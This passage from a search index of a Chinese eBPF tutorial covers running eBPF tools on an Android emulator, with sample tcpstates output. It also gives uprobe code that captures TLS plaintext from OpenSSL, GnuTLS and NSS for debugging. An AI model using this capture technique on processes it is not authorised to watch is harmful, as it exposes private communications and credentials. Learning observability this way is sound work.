环境的 rootfs，同时还需要获取该项目的 assets 目录来构建环境； 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device； 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中： ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限： ./adb shell su 在 Android shell 中构建并进入 debian 环境： mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此，测试 eBPF 所需的 Linux 环境已经构建完毕。此外，在 Android shell 中（未进入 debian 时）可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前，eadb 打包的 debian 环境存在 libc 版本低，缺少的工具依赖较多等情况；并且由于内核编译选项不同，一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"136","title":"环境搭建"},"137":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地，具体的构建过程，可以参考仓库的 build.md 。在本次测试中，笔者选用了 ecc 编译生成 package.json 的方式，该工具的构建和使用方式请参考 仓库页面 。 在构建过程中，可能需要自行安装包括但不限于 curl，pkg-config，libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"137","title":"工具构建"},"138":{"body":"有部分 eBPF 程序可以成功在 Android 上运行，但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"138","title":"结果"},"139":{"body":"bootstrap 运行输出如下： TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"139","title":"成功案例"},"14":{"body":"在开始编写eBPF程序之前，我们需要准备一个合适的开发环境，并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"opensnoop 例如 opensnoop 工具，可以在 Android 上成功构建，但运行报错： libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项，导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"140","title":"一些可能的报错原因"},"141":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的，在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例，例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些，原因主要是以下两个方面： 内核编译选项未支持相关 eBPF 功能； eadb 打包的 Linux 环境较弱，缺乏必须依赖； 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境，但 Android 内核本身对 eBPF 的支持已较为全面，本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入，目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大，同时由于 eBPF 工具需要 root 权限，普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"141","title":"总结"},"142":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"142","title":"参考"},"143":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"143","title":"http"},"144":{"body":"随着TLS在现代网络环境中的广泛应用，跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据，导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 但现在，我们有了新的解决方案。使用 eBPF 技术，通过其能力在用户空间进行探测，提供了一种方法重新获得明文数据，使得我们可以直观地查看加密前的通信内容。然而，每个应用可能使用不同的库，每个库都有多个版本，这种多样性给跟踪带来了复杂性。 在本教程中，我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术，它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库，而且相比以往，大大降低了对新版本库的维护工作。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据","id":"144","title":"eBPF 实践教程：使用 uprobe 捕获多种库的 SSL/TLS 明文数据"},"145":{"body":"在深入本教程的主题之前，我们需要理解一些核心概念，这些概念将为我们后面的讨论提供基础。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 背景知识","id":"145","title":"背景知识"},"146":{"body":"SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发，为网络上的两台机器之间提供数据加密传输。然而，由于某些已知的安全问题，SSL的使用已被其后继者TLS所替代。 TLS (Transport Layer Security): 是 SSL 的继任者，旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程，在这个过程中，客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成，数据传输开始，所有数据都使用选择的算法和密钥加密。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » SSL 和 TLS","id":"146","title":"SSL 和 TLS"},"147":{"body":"Transport Layer Security (TLS) 是一个密码学协议，旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学，例如证书的使用，为两个或更多通信的计算机应用程序提供安全性，包括隐私（机密性）、完整性和真实性。TLS 由两个子层组成：TLS 记录协议和TLS 握手协议。 握手过程 当客户端与启用了TLS的服务器连接并请求建立安全连接时，握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数，完整流程如下： 初始握手 ：客户端连接到启用了TLS的服务器，请求安全连接，并提供它支持的密码套件列表（加密算法和哈希函数）。 选择密码套件 ：从提供的列表中，服务器选择它也支持的密码套件和哈希函数，并通知客户端已做出的决定。 提供数字证书 ：通常，服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构（为证书的真实性提供担保）以及服务器的公共加密密钥。 验证证书 ：客户端在继续之前确认证书的有效性。 生成会话密钥 ：为了生成用于安全连接的会话密钥，客户端有以下两种方法： 使用服务器的公钥加密一个随机数（PreMasterSecret）并将结果发送到服务器（只有服务器才能使用其私钥解密）；双方然后使用该随机数生成一个独特的会话密钥，用于会话期间的数据加密和解密。 使用 Diffie-Hellman 密钥交换（或其变体椭圆曲线DH）来安全地生成一个随机且独特的会话密钥，用于加密和解密，该密钥具有前向保密的额外属性：即使在未来公开了服务器的私钥，也不能用它来解密当前的会话，即使第三方拦截并记录了会话。 一旦上述步骤成功完成，握手过程便结束，加密的连接开始。此连接使用会话密钥进行加密和解密，直到连接关闭。如果上述任何步骤失败，则TLS握手失败，连接将不会建立。 OSI模型中的TLS TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议（例如，TCP）之上运行”，这意味着它位于传输层之上。它为更高的层提供加密，这通常是表示层的功能。但是，使用TLS 的应用程序通常视其为传输层，即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » TLS 的工作原理","id":"147","title":"TLS 的工作原理"},"148":{"body":"eBPF (Extended Berkeley Packet Filter): 是一种内核技术，允许用户在内核空间中运行预定义的程序，不需要修改内核源代码或重新加载模块。它创建了一个桥梁，使得用户空间和内核空间可以交互，从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 uprobes 是eBPF的一个重要特性，允许我们在用户空间应用程序中动态地插入探测点，特别适用于跟踪SSL/TLS库中的函数调用。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 和 uprobe","id":"148","title":"eBPF 和 uprobe"},"149":{"body":"SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库： OpenSSL: 一个开源的、功能齐全的加密库，广泛应用于许多开源和商业项目中。 BoringSSL: 是Google维护的OpenSSL的一个分支，重点是简化和优化，适用于Google的需求。 GnuTLS: 是GNU项目的一部分，提供了SSL，TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比，GnuTLS在API设计、模块结构和许可证上有所不同。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 用户态库","id":"149","title":"用户态库"},"15":{"body":"要开发eBPF程序，您需要安装以下软件和工具： Linux 内核：由于eBPF是内核技术，因此您需要具备较新版本的Linux内核（推荐4.8及以上版本），以支持eBPF功能。 LLVM 和 Clang：这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成：内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑，用户态部分负责加载、运行和监控内核态程序。 当您选择了合适的开发框架后，如BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以BCC工具为例，我们将介绍eBPF程序的基本开发流程： 安装BCC工具：根据您的Linux发行版，按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序（C语言）：使用C语言编写一个简单的eBPF程序，例如Hello World程序。该程序可以在内核空间执行并完成特定任务，如统计网络数据包数量。 编写用户态程序（Python或C等）：使用Python、C等语言编写用户态程序，用于加载、运行eBPF程序以及与之交互。在这个程序中，您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序：使用BCC工具，将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序：在用户态程序中，使用BCC提供的API加载编译好的eBPF程序到内核空间，然后运行该程序。 与eBPF程序交互：用户态程序通过BCC提供的API与eBPF程序交互，实现数据收集、分析和展示等功能。例如，您可以使用BCC API读取eBPF程序中的map数据，以获取网络数据包统计信息。 卸载eBPF程序：当不再需要eBPF程序时，用户态程序应使用BCC API将其从内核空间卸载。 调试与优化：使用 bpftool 等工具进行eBPF程序的调试和优化，提高程序性能和稳定性。 通过以上流程，您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意，其他框架（如libbpf、cilium/ebpf和eunomia-bpf）的开发流程大致相似但略有不同，因此在选择框架时，请参考相应的官方文档和示例。 通过这个过程，你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架，支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行，并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"OpenSSL 是一个广泛应用的开源库，提供了 SSL 和 TLS 协议的完整实现，并广泛用于各种应用程序中以确保数据传输的安全性。其中，SSL_read() 和 SSL_write() 是两个核心的 API 函数，用于从 TLS/SSL 连接中读取和写入数据。本章节，我们将深入这两个函数，帮助你理解其工作机制。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » OpenSSL API 分析","id":"150","title":"OpenSSL API 分析"},"151":{"body":"当我们想从一个已建立的 SSL 连接中读取数据时，可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下： int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);\nint SSL_read(SSL *ssl, void *buf, int num); SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时，SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 1. SSL_read 函数","id":"151","title":"1. SSL_read 函数"},"152":{"body":"当我们想往一个已建立的 SSL 连接中写入数据时，可以使用 SSL_write 或 SSL_write_ex 函数。 函数原型： int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);\nint SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时，SSL_write_ex 会在 *written 中存储实际写入的字节数。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 2. SSL_write 函数","id":"152","title":"2. SSL_write 函数"},"153":{"body":"在我们的例子中，我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数，从而在数据读取或写入 SSL 连接时执行自定义操作。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » eBPF 内核态代码编写","id":"153","title":"eBPF 内核态代码编写"},"154":{"body":"首先，我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据： #define MAX_BUF_SIZE 8192\n#define TASK_COMM_LEN 16 struct probe_SSL_data_t { __u64 timestamp_ns; // 时间戳（纳秒） __u64 delta_ns; // 函数执行时间 __u32 pid; // 进程 ID __u32 tid; // 线程 ID __u32 uid; // 用户 ID __u32 len; // 读/写数据的长度 int buf_filled; // 缓冲区是否填充完整 int rw; // 读或写（0为读，1为写） char comm[TASK_COMM_LEN]; // 进程名 __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 int is_handshake; // 是否是握手数据\n};","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 数据结构","id":"154","title":"数据结构"},"155":{"body":"我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID，确定是否需要追踪并收集数据。 static int SSL_exit(struct pt_regs *ctx, int rw) { int ret = 0; u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); if (bufp == 0) return 0; u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (!tsp) return 0; u64 delta_ns = ts - *tsp; int len = PT_REGS_RC(ctx); if (len <= 0) // no data return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = delta_ns; data->pid = pid; data->tid = tid; data->uid = uid; data->len = (u32)len; data->buf_filled = 0; data->rw = rw; data->is_handshake = false; u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); bpf_get_current_comm(&data->comm, sizeof(data->comm)); if (bufp != 0) ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); bpf_map_delete_elem(&bufs, &tid); bpf_map_delete_elem(&start_ns, &tid); if (!ret) data->buf_filled = 1; else buf_copy_size = 0; bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(buf_copy_size)); return 0;\n} 这里的 rw 参数标识是读还是写。0 代表读，1 代表写。 数据收集流程 获取当前进程和线程的 ID，以及当前用户的 ID。 通过 trace_allowed 判断是否允许追踪该进程。 获取起始时间，以计算函数的执行时间。 尝试从 bufs 和 start_ns maps 中查找相关的数据。 如果成功读取了数据，则创建或查找 probe_SSL_data_t 结构来填充数据。 将数据从用户空间复制到缓冲区，并确保不超过预定的大小。 最后，将数据发送到用户空间。 注意：我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回： SEC(\"uretprobe/SSL_read\")\nint BPF_URETPROBE(probe_SSL_read_exit) { return (SSL_exit(ctx, 0)); // 0 表示读操作\n} SEC(\"uretprobe/SSL_write\")\nint BPF_URETPROBE(probe_SSL_write_exit) { return (SSL_exit(ctx, 1)); // 1 表示写操作\n}","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » Hook 函数","id":"155","title":"Hook 函数"},"156":{"body":"在 SSL/TLS 中，握手（handshake）是一个特殊的过程，用于在客户端和服务器之间建立安全的连接。为了分析此过程，我们 hook 到了 do_handshake 函数，以跟踪握手的开始和结束。 进入握手 我们使用 uprobe 为 do_handshake 设置一个 probe： SEC(\"uprobe/do_handshake\")\nint BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u64 ts = bpf_ktime_get_ns(); u32 uid = bpf_get_current_uid_gid(); if (!trace_allowed(uid, pid)) { return 0; } /* store arg info for later lookup */ bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); return 0;\n} 这段代码的主要功能如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 检查进程是否被允许追踪。 将当前时间戳存储在 start_ns 映射中，用于稍后计算握手过程的持续时间。 退出握手 同样，我们为 do_handshake 的返回设置了一个 uretprobe： SEC(\"uretprobe/do_handshake\")\nint BPF_URETPROBE(probe_SSL_do_handshake_exit) { u32 zero = 0; u64 pid_tgid = bpf_get_current_pid_tgid(); u32 pid = pid_tgid >> 32; u32 tid = (u32)pid_tgid; u32 uid = bpf_get_current_uid_gid(); u64 ts = bpf_ktime_get_ns(); int ret = 0; /* use kernel terminology here for tgid/pid: */ u32 tgid = pid_tgid >> 32; /* store arg info for later lookup */ if (!trace_allowed(tgid, pid)) { return 0; } u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); if (tsp == 0) return 0; ret = PT_REGS_RC(ctx); if (ret <= 0) // handshake failed return 0; struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); if (!data) return 0; data->timestamp_ns = ts; data->delta_ns = ts - *tsp; data->pid = pid; data->tid = tid; data->uid = uid; data->len = ret; data->buf_filled = 0; data->rw = 2; data->is_handshake = true; bpf_get_current_comm(&data->comm, sizeof(data->comm)); bpf_map_delete_elem(&start_ns, &tid); bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, EVENT_SIZE(0)); return 0;\n} 此函数的逻辑如下： 获取当前的 pid, tid, ts 和 uid。 使用 trace_allowed 再次检查是否允许追踪。 查找 start_ns 映射中的时间戳，用于计算握手的持续时间。 使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值，判断握手是否成功。 查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 更新数据结构的字段，包括时间戳、持续时间、进程信息等。 通过 bpf_perf_event_output 将数据发送到用户态。 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输，还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数，我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解，可以帮助我们在需要时进行更深入的分析和优化。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » Hook到握手过程","id":"156","title":"Hook到握手过程"},"157":{"body":"在 eBPF 的生态系统中，用户态和内核态代码经常协同工作。内核态代码负责数据的采集，而用户态代码则负责设置、管理和处理这些数据。在本节中，我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 用户态辅助代码分析与解读","id":"157","title":"用户态辅助代码分析与解读"},"158":{"body":"上述代码片段中，根据环境变量 env 的设定，程序可以选择针对三种常见的加密库（OpenSSL、GnuTLS 和 NSS）进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 为了实现这一功能，首先利用 find_library_path 函数确定库的路径。然后，根据库的类型，调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 if (env.openssl) { char *openssl_path = find_library_path(\"libssl.so\"); printf(\"OpenSSL path: %s\\n\", openssl_path); attach_openssl(obj, \"/lib/x86_64-linux-gnu/libssl.so.3\"); } if (env.gnutls) { char *gnutls_path = find_library_path(\"libgnutls.so\"); printf(\"GnuTLS path: %s\\n\", gnutls_path); attach_gnutls(obj, gnutls_path); } if (env.nss) { char *nss_path = find_library_path(\"libnspr4.so\"); printf(\"NSS path: %s\\n\", nss_path); attach_nss(obj, nss_path); } 这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库，支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的，现在由 Mozilla 维护。其他两个库前面已经介绍过了，这里不再赘述。","breadcrumbs":"使用 uprobe 捕获多种库的 SSL/TLS 明文数据 » 1. 支持的库挂载","id":"158","title":"1. 支持的库挂载"},"159":{"body":"具体的 attach 函数如下： #define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \\ do { \\ LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \\ .retprobe = is_retprobe); \\ skel->links.prog_name = bpf_program__attach_uprobe_opts( \\ skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \\ } while (false) int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); if (env.latency && env.handshake) { ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_enter); ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, probe_SSL_do_handshake_exit); } return 0;\n} int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); return 0;\n} int attach_nss(struct sslsniff_bpf *skel, const char *lib) { ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); return 0;\n} 我们进一步观察 attach_ 函数，可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe（函数入口）和 uretprobe（函数返回）。 考虑到不同的库有不同的 API 函数名称（例如，OpenSSL 使用 SSL_write，而 GnuTLS 使用 gnutls_record_send），所以我们需要为每个库写一个独立的 attach_ 函数。 例如，在 attach_openssl 函数中，我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake)，那么我们还会为 SSL_do_handshake 设置 probe。 